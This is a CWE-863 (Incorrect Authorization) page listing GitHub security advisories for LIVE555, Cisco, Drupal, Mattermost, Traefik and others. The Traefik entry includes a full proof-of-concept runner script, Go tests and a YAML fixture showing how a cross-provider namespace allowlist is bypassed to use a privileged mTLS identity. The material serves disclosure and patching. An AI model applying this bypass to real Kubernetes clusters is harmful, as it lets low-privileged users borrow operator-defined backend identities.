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Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

6698 vulnerabilities reference this CWE, most recent first.

GHSA-3X7C-XG4R-972Q

Vulnerability from github – Published: 2026-05-19 21:32 – Updated: 2026-05-19 21:32
VLAI
Details

LIVE555 before 2026.04.22 contains an authorization bypass vulnerability in RTSP session command handling that allows attackers to replay valid Session tokens from unauthenticated connections. Attackers who obtain a valid Session token can issue PLAY and TEARDOWN commands from a second TCP connection without authentication, causing server crashes through virtual function call errors or disrupting active streams by terminating victim sessions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T19:16:50Z",
    "severity": "HIGH"
  },
  "details": "LIVE555 before 2026.04.22 contains an authorization bypass vulnerability in RTSP session command handling that allows attackers to replay valid Session tokens from unauthenticated connections. Attackers who obtain a valid Session token can issue PLAY and TEARDOWN commands from a second TCP connection without authentication, causing server crashes through virtual function call errors or disrupting active streams by terminating victim sessions.",
  "id": "GHSA-3x7c-xg4r-972q",
  "modified": "2026-05-19T21:32:03Z",
  "published": "2026-05-19T21:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41470"
    },
    {
      "type": "WEB",
      "url": "https://download.live555.com"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/yhcho0405/ee9b67a96808ef19f22e8a4ee88c795f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/live555-rtsp-server-authorization-bypass-via-session-token"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3XGV-53V3-RFW4

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46
VLAI
Details

A vulnerability in certain filtering mechanisms of access control lists (ACLs) for Cisco ASR 5000 Series Aggregation Services Routers through 21.x could allow an unauthenticated, remote attacker to bypass ACL rules that have been configured for an affected device. More Information: CSCvb99022 CSCvc16964 CSCvc37351 CSCvc54843 CSCvc63444 CSCvc77815 CSCvc88658 CSCve08955 CSCve14141 CSCve33870.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-6672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-25T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in certain filtering mechanisms of access control lists (ACLs) for Cisco ASR 5000 Series Aggregation Services Routers through 21.x could allow an unauthenticated, remote attacker to bypass ACL rules that have been configured for an affected device. More Information: CSCvb99022 CSCvc16964 CSCvc37351 CSCvc54843 CSCvc63444 CSCvc77815 CSCvc88658 CSCve08955 CSCve14141 CSCve33870.",
  "id": "GHSA-3xgv-53v3-rfw4",
  "modified": "2022-05-13T01:46:44Z",
  "published": "2022-05-13T01:46:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6672"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170719-asr1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99921"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038962"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3XM7-HGH9-CHCW

Vulnerability from github – Published: 2023-06-09 21:30 – Updated: 2024-04-04 04:42
VLAI
Details

An issue found in CrossX v.1.15.3 for Android allows a local attacker to cause an escalation of Privileges via the database files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-29766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-09T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "An issue found in CrossX v.1.15.3 for Android allows a local attacker to cause an escalation of Privileges via the database files.",
  "id": "GHSA-3xm7-hgh9-chcw",
  "modified": "2024-04-04T04:42:54Z",
  "published": "2023-06-09T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2023-29766/CVE%20detailed.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3XR3-PHJP-G6P2

Vulnerability from github – Published: 2022-02-12 00:00 – Updated: 2023-10-04 14:45
VLAI
Summary
Drupal core access bypass vulnerability
Details

Under some circumstances, the Drupal core JSON:API module does not properly restrict access to certain content, which may result in unintended access bypass. Sites that do not have the JSON:API module enabled are not affected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.9.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.1.0"
            },
            {
              "fixed": "9.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.2.0"
            },
            {
              "fixed": "9.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-13677"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-04T14:45:42Z",
    "nvd_published_at": "2022-02-11T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Under some circumstances, the Drupal core JSON:API module does not properly restrict access to certain content, which may result in unintended access bypass. Sites that do not have the JSON:API module enabled are not affected.",
  "id": "GHSA-3xr3-phjp-g6p2",
  "modified": "2023-10-04T14:45:42Z",
  "published": "2022-02-12T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13677"
    },
    {
      "type": "WEB",
      "url": "https://github.com/drupal/core/commit/7a9bef4b4750d79ab42498e459012cabe4c4bd8b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/drupal/core"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-core-2021-010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Drupal core access bypass vulnerability"
}

GHSA-3XXR-X7RP-PC4X

Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-09-25 00:00
VLAI
Details

Improper access control vulnerability in Samsung keyboard version prior to SMR Feb-2021 Release 1 allows physically proximate attackers to change in arbitrary settings during Initialization State.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-04T22:15:00Z",
    "severity": "LOW"
  },
  "details": "Improper access control vulnerability in Samsung keyboard version prior to SMR Feb-2021 Release 1 allows physically proximate attackers to change in arbitrary settings during Initialization State.",
  "id": "GHSA-3xxr-x7rp-pc4x",
  "modified": "2022-09-25T00:00:18Z",
  "published": "2022-05-24T17:43:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25340"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-424H-XJ87-M937

Vulnerability from github – Published: 2025-10-16 09:30 – Updated: 2025-10-16 20:59
VLAI
Summary
Mattermost has an Incorrect Authorization vulnerability
Details

Mattermost versions 10.5.x <= 10.5.10, 10.11.x <= 10.11.2 fail to properly validate guest user permissions when adding channel members which allows guest users to add any team members to their private channels via the /api/v4/channels/{channel_id}/members endpoint

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250820115038-ff30b84049f0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.11.0"
            },
            {
              "fixed": "10.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-10545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-16T20:59:09Z",
    "nvd_published_at": "2025-10-16T09:15:33Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 10.5.x \u003c= 10.5.10, 10.11.x \u003c= 10.11.2 fail to properly validate guest user permissions when adding channel members which allows guest users to add any team members to their private channels via the `/api/v4/channels/{channel_id}/members` endpoint",
  "id": "GHSA-424h-xj87-m937",
  "modified": "2025-10-16T20:59:09Z",
  "published": "2025-10-16T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/31319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/33827"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/fb9c583f5e466a566a5122154ef337bbf2238902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/ff30b84049f0193f0570d30e46cffc3602298c67"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost has an Incorrect Authorization vulnerability"
}

GHSA-4276-CM8C-788H

Vulnerability from github – Published: 2025-08-21 09:30 – Updated: 2025-08-29 20:57
VLAI
Summary
Mattermost Fails to Properly Validate Team Role Modification
Details

Mattermost versions 10.5.x <= 10.5.8, 9.11.x <= 9.11.17 fail to properly validate authorization for team scheme role modifications which allows Team Admins to demote Team Members to Guests via the PUT /api/v4/teams/team-id/members/user-id/schemeRoles API endpoint.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.5.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.11.17"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250721095846-c602a4a78e1f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.39.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T16:03:01Z",
    "nvd_published_at": "2025-08-21T08:15:30Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 10.5.x \u003c= 10.5.8, 9.11.x \u003c= 9.11.17 fail to properly validate authorization for team scheme role modifications which allows Team Admins to demote Team Members to Guests via the PUT /api/v4/teams/team-id/members/user-id/schemeRoles API endpoint.",
  "id": "GHSA-4276-cm8c-788h",
  "modified": "2025-08-29T20:57:09Z",
  "published": "2025-08-21T09:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53971"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3902"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Fails to Properly Validate Team Role Modification"
}

GHSA-42CJ-M3VJ-89WV

Vulnerability from github – Published: 2026-08-05 21:53 – Updated: 2026-08-05 21:53
VLAI
Summary
Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass
Details

Summary

There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.23
  • https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes CRD provider enforces `crossProviderNamespaces` for several cross-provider references, but `IngressRouteTCP` service `serversTransport` references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` can still set `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik accepts the forbidden cross-provider reference and later uses the referenced `TCPServersTransport`, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings. ## Description `crossProviderNamespaces` is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP `serversTransport` references enforce that allowlist. TCP `serversTransport` references do not. An attacker with low Kubernetes privileges in namespace `default` can create an `IngressRouteTCP` service with:
serversTransport: foo@file
Even when the provider is configured with:
crossProviderNamespaces:
  - operator-only
Traefik still emits a TCP dynamic service whose load balancer points to `foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings. ## Impact The PoC demonstrates two positive facts: 1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and store `LoadBalancer.ServersTransport = "foo@file"` from an `IngressRouteTCP` service. 2. A qualified `foo@file` `TCPServersTransport` with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend. This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference. ## Proof Of Concept ### Files - `run.sh`: portable runner. - `poc_crd_test.go`: positive CRD provider proof. - `with_servers_transport_cross_provider_poc.yml`: minimal `IngressRouteTCP` fixture. - `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof. run.sh
#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
    trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
    echo "[*] cloning from local source: $TRAEFIK_SRC"
    git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
    git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
    echo "[*] cloning from remote: $REPO_URL"
    git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
     pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
     pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
     pkg/tcp/dialer_cross_provider_identity_poc_test.go

echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
    -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \
    -count=1 -v

echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
    -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \
    -count=1 -v

echo "POC_RESULT=PASS"
poc_crd_test.go
package crd

import (
    "testing"

    "github.com/stretchr/testify/require"
    traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
    kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
    k8sObjects, crdObjects := readResources(t, []string{
        "tcp/services.yml",
        "tcp/with_servers_transport_cross_provider_poc.yml",
    })

    kubeClient := kubefake.NewClientset(k8sObjects...)
    crdClient := traefikcrdfake.NewClientset(crdObjects...)
    client := newClientImpl(kubeClient, crdClient)

    stopCh := make(chan struct{})
    defer close(stopCh)

    eventCh, err := client.WatchAll(nil, stopCh)
    require.NoError(t, err)
    <-eventCh

    provider := Provider{
        AllowCrossNamespace:     true,
        CrossProviderNamespaces: []string{"operator-only"},
    }

    conf := provider.loadConfigurationFromCRD(t.Context(), client)
    service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"]
    require.NotNil(t, service)
    require.NotNil(t, service.LoadBalancer)
    require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport)
    require.NotEmpty(t, service.LoadBalancer.Servers)
    require.True(t, service.LoadBalancer.Servers[0].TLS)

    t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v",
        provider.CrossProviderNamespaces,
        service.LoadBalancer.ServersTransport,
        service.LoadBalancer.Servers[0].TLS)
}
poc_tcp_mtls_test.go
package tcp

import (
    "crypto/rand"
    "crypto/rsa"
    "crypto/tls"
    "crypto/x509"
    "crypto/x509/pkix"
    "encoding/pem"
    "fmt"
    "io"
    "math/big"
    "net"
    "testing"
    "time"

    "github.com/stretchr/testify/require"
    "github.com/traefik/traefik/v3/pkg/config/dynamic"
    traefiktls "github.com/traefik/traefik/v3/pkg/tls"
    "github.com/traefik/traefik/v3/pkg/types"
)

func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
    pki := newPoCPKI(t)

    dialerManager := NewDialerManager(nil)
    dialerManager.Update(map[string]*dynamic.TCPServersTransport{
        "foo@file": {
            TLS: &dynamic.TLSClientConfig{
                ServerName: "example.com",
                RootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
                Certificates: traefiktls.Certificates{
                    traefiktls.Certificate{
                        CertFile: types.FileOrContent(pki.clientCertPEM),
                        KeyFile:  types.FileOrContent(pki.clientKeyPEM),
                    },
                },
            },
        },
    })

    backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
    defer closeBackend()

    dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
    require.NoError(t, err)

    conn, err := dialer.Dial("tcp", backendAddr, nil)
    require.NoError(t, err)
    defer conn.Close()

    _, err = conn.Write([]byte("ping"))
    require.NoError(t, err)

    buf := make([]byte, 4)
    _, err = io.ReadFull(conn, buf)
    require.NoError(t, err)
    require.Equal(t, "PONG", string(buf))

    var cn string
    select {
    case cn = <-peerCN:
    case <-time.After(time.Second):
        t.Fatal("timed out waiting for backend peer certificate")
    }

    select {
    case err := <-done:
        require.NoError(t, err)
    case <-time.After(time.Second):
        t.Fatal("timed out waiting for backend completion")
    }

    t.Logf("POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q",
        "foo@file", cn, string(buf))
}

func newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) {
    t.Helper()

    serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)
    require.NoError(t, err)

    clientPool := x509.NewCertPool()
    require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))

    listener, err := net.Listen("tcp", "127.0.0.1:0")
    require.NoError(t, err)

    tlsListener := tls.NewListener(listener, &tls.Config{
        Certificates: []tls.Certificate{serverCert},
        ClientAuth:   tls.RequireAndVerifyClientCert,
        ClientCAs:    clientPool,
    })

    peerCN := make(chan string, 1)
    done := make(chan error, 1)

    go func() {
        conn, err := tlsListener.Accept()
        if err != nil {
            done <- err
            return
        }
        defer conn.Close()

        tlsConn, ok := conn.(*tls.Conn)
        if !ok {
            done <- fmt.Errorf("unexpected connection type %T", conn)
            return
        }

        if err := tlsConn.Handshake(); err != nil {
            done <- err
            return
        }

        state := tlsConn.ConnectionState()
        if len(state.PeerCertificates) == 0 {
            done <- fmt.Errorf("missing peer certificate")
            return
        }
        peerCN <- state.PeerCertificates[0].Subject.CommonName

        buf := make([]byte, 4)
        if _, err := io.ReadFull(tlsConn, buf); err != nil {
            done <- err
            return
        }
        if string(buf) != "ping" {
            done <- fmt.Errorf("unexpected backend payload %q", string(buf))
            return
        }

        _, err = tlsConn.Write([]byte("PONG"))
        done <- err
    }()

    return listener.Addr().String(), peerCN, done, func() {
        _ = tlsListener.Close()
    }
}

type poCPKI struct {
    caCertPEM     []byte
    serverCertPEM []byte
    serverKeyPEM  []byte
    clientCertPEM []byte
    clientKeyPEM  []byte
}

func newPoCPKI(t *testing.T) poCPKI {
    t.Helper()

    caKey, err := rsa.GenerateKey(rand.Reader, 2048)
    require.NoError(t, err)

    caTemplate := &x509.Certificate{
        SerialNumber:          big.NewInt(1),
        Subject:               pkix.Name{CommonName: "poc-ca"},
        NotBefore:             time.Now().Add(-time.Minute),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
        BasicConstraintsValid: true,
        IsCA:                  true,
    }

    caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
    require.NoError(t, err)

    serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})
    clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})

    return poCPKI{
        caCertPEM:     pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}),
        serverCertPEM: serverCertPEM,
        serverKeyPEM:  serverKeyPEM,
        clientCertPEM: clientCertPEM,
        clientKeyPEM:  clientKeyPEM,
    }
}

func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {
    t.Helper()

    key, err := rsa.GenerateKey(rand.Reader, 2048)
    require.NoError(t, err)

    serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
    require.NoError(t, err)

    template := &x509.Certificate{
        SerialNumber: serial,
        Subject:      pkix.Name{CommonName: cn},
        DNSNames:     []string{"example.com"},
        NotBefore:    time.Now().Add(-time.Minute),
        NotAfter:     time.Now().Add(time.Hour),
        KeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
        ExtKeyUsage:  eku,
    }

    certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey)
    require.NoError(t, err)

    keyDER := x509.MarshalPKCS1PrivateKey(key)

    return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}),
        pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
}
with_servers_transport_cross_provider_poc.yml
apiVersion: traefik.io/v1alpha1
kind: IngressRouteTCP
metadata:
  name: test.route
  namespace: default

spec:
  entryPoints:
    - foo

  routes:
  - match: HostSNI(`foo.com`)
    priority: 12
    services:
    - name: whoamitcp
      port: 8000
      tls: true
      serversTransport: foo@file
### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout is required by default. ### Run
./run.sh
Optional target override:
TARGET_REF=v3.6.21 ./run.sh
Optional local-source override for faster local validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
### Expected Result The run should end with:
POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true
POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG"
POC_RESULT=PASS
## Root Cause Line numbers below are from:
repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0
### 1. The provider option is meant to cover IngressRouteTCP `pkg/provider/kubernetes/crd/kubernetes.go:60`
CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...`
This establishes the security invariant: `IngressRouteTCP` cross-provider references should be gated by `crossProviderNamespaces`. ### 2. TCP service creation forwards the attacker-controlled transport name `pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185`
if service.ServersTransport != "" {
    tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)
}
The attacker-controlled `serversTransport` field is passed into the key builder. ### 3. TCP key builder returns cross-provider names without the allowlist check `pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322`
if strings.Contains(serversTransportName, providerNamespaceSeparator) {
    return serversTransportName, nil
}
This accepts `foo@file` directly. There is no call to `isCrossProviderNamespaceAllowed(...)` on this TCP path. ### 4. HTTP sibling contains the missing authorization gate `pkg/provider/kubernetes/crd/kubernetes_http.go:507-508`
if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {
    return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...)
}
The HTTP path proves the intended policy: cross-provider `serversTransport` references should be rejected when the route namespace is not in the allowlist. ### 5. Runtime TCP dialer consumes the exact referenced transport `pkg/tcp/dialer.go:135-141`
if config.ServersTransport != "" {
    name = config.ServersTransport
}
st, ok := d.serversTransports[name]
`pkg/tcp/dialer.go:183-188`
tlsConfig = &tls.Config{
    ServerName:   st.TLS.ServerName,
